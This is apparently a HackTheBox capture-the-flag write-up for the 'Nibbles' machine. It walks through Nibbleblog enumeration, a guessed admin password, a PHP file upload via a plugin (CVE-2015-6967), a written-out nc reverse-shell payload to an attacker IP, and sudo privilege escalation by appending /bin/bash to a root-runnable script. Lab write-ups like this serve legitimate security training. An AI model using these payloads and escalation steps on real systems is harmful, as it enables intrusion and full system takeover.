Hackthebox - Nibbles
Linux
Nmap
Port 80
If we browse there we have an hello world.
If we check the source code, we have an interesting comment
This brings us here
Let's see what info we have with whatweb
Enumerate dir in nibbleblog
Admin
Readme
Content
Plugins
Thèmes
Admin.php
We also find multiple xml files. The users.xml and config.xml seem interesting
Users
Config
This confirm that a user named admin exist.
We can not bruteforce because of the IP blacklist that is set as a protection.
The word nibbles frequently comes back. Let's try it as a password for admin. It works.
While looking for info on nibbleblog we found a CVE:
CVE-2015-6967It is also worth having a look around
This way we find a plugin "My image" that allows us to upload files
Let's try to upload a php file and see if it gets executed. Here is our php file
The file seems to be uploaded when we explored the files previously there was a content directory, so our file is probably there somewhere let's have a look. Yes there is a new image.php file here
And our command (ls) works, we have command execution!
We could do a webshell. But let's try for a reverse shell.
Let's edit our previous file
<?php system('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.8 4444) >/tmp/f'); ?>
We now need to set a listener
rlwrap nc -lnvp 4444We get a shell
We can make it a little better with
python3 -c 'import pty; pty.spawn("/bin/bash")'and grab the user flag.
Along with the flag we have zip
personal.zipthat seems interesting for later.
Privilege escalation
Let's have a look at the zip file. There is stuff folder with a bash script inside
Using
sudo -lwe see that we are able to run it as root
Let's add this in our script this will launch bash as root and should allow us to get root
/bin/bashecho '/bin/bash' | tee -a /home/nibbler/personal/stuff/monitor.sh.Indeed if we
sudo /home/nibbler/personal/stuff/monitor.shwe get root and can grab the last flag
Last updated